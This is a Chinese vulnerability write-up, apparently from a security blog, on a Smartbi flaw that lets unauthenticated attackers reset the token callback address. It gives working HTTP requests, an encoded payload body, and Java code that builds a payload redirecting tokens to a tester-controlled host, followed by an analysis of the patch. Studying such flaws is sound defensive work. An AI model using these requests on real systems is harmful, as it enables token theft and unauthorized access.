Smartbi_0808_特定场景下设置Token回调地址漏洞

admin 2023年11月8日19:43:22Smartbi_0808_特定场景下设置Token回调地址漏洞已关闭评论66 views字数 1734阅读5分46秒阅读模式

漏洞简介

Smartbi是一款商业智能应用,提供了数据集成、分析、可视化等功能,帮助用户理解和使用他们的数据进行决策。Smartbi 存在权限绕过漏洞。未经授权的攻击者可利用该漏洞,修改 Token 回调地址

Smartbi_0808_特定场景下设置Token回调地址漏洞

漏洞复现

查看原本 token 回调地址

```
POST /smartbi/smartbix/api/monitor/engineInfo HTTP/1.1
Host: 192.168.222.133:18080
Connection: close
Content-Length: 0

```

Smartbi_0808_特定场景下设置Token回调地址漏洞

修改回调地址

```
POST /smartbi/smartbix/api/monitor/setAddress HTTP/1.1
Host: 192.168.222.133:18080
Connection: close
Content-Length: 208

312E8684378EBDFF7E798B0BCCC45588EF682890F6F1701AF9D9416B4E357E80A1E8622D15B57E607B755B7C2F5DECA7D287A6A2ADD239B11EE975E5235B5E6CF864FBB030F3B0CCD63F4F6DDEBB4CC54499ACED23917FF9D7E2D9C42E4EA3D092786F854D530ADE
```

Smartbi_0808_特定场景下设置Token回调地址漏洞

再次查看回调地址

```
POST /smartbi/smartbix/api/monitor/engineInfo HTTP/1.1
Host: 192.168.222.133:18080
Connection: close
Content-Length: 0

```

Smartbi_0808_特定场景下设置Token回调地址漏洞
回调地址被修改

import smartbix.datamining.util.CommonUtil;
public class decode {
public static void main(String[] args) {
String address = CommonUtil.desEncode("{\"type\":\"experiment\",\"c_address\":\"http://localhost:8899\"," +
"\"u_address\":\"http://192.168.222.1:9090\"}", "isPassword");
System.out.println(address);
}
}

漏洞分析

我们从补丁文件开始入手分析

补丁文件中禁用了路由 /smartbix/api/monitor/setAddress

Smartbi_0808_特定场景下设置Token回调地址漏洞

这个漏洞是对 Smartbi_0728_特定情况下破解用户密码 的查漏补缺,通过这个路由也能修改 Token 的回调地址,但是之前补丁中并未对此进行防护处理。

Smartbi_0808_特定场景下设置Token回调地址漏洞

因为获取参数的方法是 @RequestBody 所以是将所有请求体内容都作为 address 的值进行处理

先对 address 的值进行解码 CommonUtil.desDecode( 调用的是自己内部的解码方法,所以我们只需要利用 CommonUtil.desEncode( 进行编码就好 然后将值进行 json 解码,对应的我们在最初传入的值也是 json 编码就好

Smartbi_0808_特定场景下设置Token回调地址漏洞

之后就获取其中的 type 值, type 对应的值是对应 engine-address 还是 service-address

获取值 c_address 作为与不变值进行比较,比较相同后,将另一个值修改为 传入的 u_address

所以最后构造出生成 address 的 方法

import smartbix.datamining.util.CommonUtil;
public class decode {
public static void main(String[] args) {
String address = CommonUtil.desEncode("{\"type\":\"experiment\",\"c_address\":\"http://localhost:8899\"," +
"\"u_address\":\"http://192.168.222.1:9090\"}", "isPassword");
System.out.println(address);
}
}

在未打补丁的情况下,也可以因此继续触发漏洞,获取 token 值

Smartbi_0808_特定场景下设置Token回调地址漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月8日19:43:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Smartbi_0808_特定场景下设置Token回调地址漏洞http://cn-sec.com/archives/2187914.html